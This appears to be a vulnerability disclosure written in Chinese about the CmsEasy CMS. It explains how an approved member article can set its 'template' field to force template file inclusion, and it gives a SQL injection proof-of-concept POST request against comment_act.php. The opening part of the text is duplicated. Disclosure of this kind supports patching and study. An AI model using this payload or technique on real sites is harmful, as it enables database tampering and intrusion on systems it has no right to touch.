### 简要描述: rt ### 详细说明: 利用条件:文章必须通过后台审核(必须列表审核),有点鸡肋了。 CmsEasy\lib\default\archive_act.php: 411行 show_action()函数 里有句 ``` if (front::get('t') == 'wap') { $tpl = category::gettemplate($this->view->catid, 'showtemplatewap'); if(!$tpl) $tpl = 'wap/show.html'; $this->out($tpl); return; } if ($template && file_exists(TEMPLATE . '/' . $this->view->_style . '/' . $template)) $this->out($template); ``` out函数的作用就是包含模板,由于函数很长我就不贴上来了。 往上看我们发现这个 ``` $template变量 ``` 通过查询archive得来, ``` $this->view->archive = archive::getInstance()->getrow(front::get('aid')); //aid 取值 if (!is_array($this->view->archive)) $this->out('message/error.html'); if ($this->view->archive['checked'] < 1)//必须通过审核 exit(lang('未审核!<a href="'.front::$from.'">返回</a>')); if (!rank::arcget(front::get('aid'), $this->view->usergroupid)) { $this->out('message/error.html'); } //........省略 $template = @$this->view->archive['template']; ``` 我们在找找有没有插入的点 lib\default\manage_act.php add_action函数 ``` if(front::post('submit')...
### 简要描述: rt ### 详细说明: 利用条件:文章必须通过后台审核(必须列表审核),有点鸡肋了。 CmsEasy\lib\default\archive_act.php: 411行 show_action()函数 里有句 ``` if (front::get('t') == 'wap') { $tpl = category::gettemplate($this->view->catid, 'showtemplatewap'); if(!$tpl) $tpl = 'wap/show.html'; $this->out($tpl); return; } if ($template && file_exists(TEMPLATE . '/' . $this->view->_style . '/' . $template)) $this->out($template); ``` out函数的作用就是包含模板,由于函数很长我就不贴上来了。 往上看我们发现这个 ``` $template变量 ``` 通过查询archive得来, ``` $this->view->archive = archive::getInstance()->getrow(front::get('aid')); //aid 取值 if (!is_array($this->view->archive)) $this->out('message/error.html'); if ($this->view->archive['checked'] < 1)//必须通过审核 exit(lang('未审核!<a href="'.front::$from.'">返回</a>')); if (!rank::arcget(front::get('aid'), $this->view->usergroupid)) { $this->out('message/error.html'); } //........省略 $template = @$this->view->archive['template']; ``` 我们在找找有没有插入的点 lib\default\manage_act.php add_action函数 ``` if(front::post('submit') &&$this->manage->vaild()) { $this->manage->filter(); $this->manage->save_before(); front::$post['checked']=0; front::$post['userid']=$this->view->user['userid']; front::$post['username']=$this->view->user['username']; front::$post['author']=$this->view->user['username']; front::$post['adddate']=date('Y-m-d H:i:s'); front::$post['ip']=front::ip(); $data=array(); $fieldlimit=$this->_table->getcols(front::$act=='list'?'user_manage':'user_modify'); $fieldlimits=explode(',',$fieldlimit); foreach(front::$post as $key=>$value) { if(preg_match('/(select|union|and|load_file)/i',$value)){ //echo $value; exit('非法参数'); } if(in_array($key,$fieldlimits)) $data[$key]=$value; } $data=array_merge($data,front::$post); $insert=$this->_table->rec_insert($data);//直接插入但审核状态无法更改。 ``` 这样关键我们都能操纵了。 还有几处可以注射的点 但也是鸡肋不能获取太多数据,不能使用select等,也说下。 \lib\default\comment_act.php add_action 函数 ``` function add_action() { if(front::post('submit') &&front::post('aid')) { if(config::get('verifycode')) { if(front::post('verify')<>session::get('verify')) { alertinfo('验证码错误。', front::$from); } } if(!front::post('username')) { alertinfo('请留下你的名字!', front::$from); } if(!front::post('content')) { alertinfo('请填写评论内容!', front::$from); } //。。。省略 $comment->rec_insert(front::$post); $archive->rec_update('comment=comment+1',front::post('aid'));//可以引入sql语句,但过滤if|select|ascii|from|sleep ,所以鸡肋。 ``` [<img src="https://images.seebug.org/upload/201506/20003006fefbd54a3b7d08a91d5761eb58407e03.png" alt="1234.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/20003006fefbd54a3b7d08a91d5761eb58407e03.png) ``` ``` ``` http://127.0.0.1:81/web/CmsEasy/index.php?case=comment&act=add (post) submit=1&aid=1 OR 1#'&username=1&content=12311' ``` ### 漏洞证明: [<img src="https://images.seebug.org/upload/201506/20001023df3d97daf1e3c8356b0fd4c3ed3a8633.png" alt="3.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/20001023df3d97daf1e3c8356b0fd4c3ed3a8633.png) [<img src="https://images.seebug.org/upload/201506/20001033b3349e4de681234984d61f62fb85d1dc.png" alt="123.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201506/20001033b3349e4de681234984d61f62fb85d1dc.png)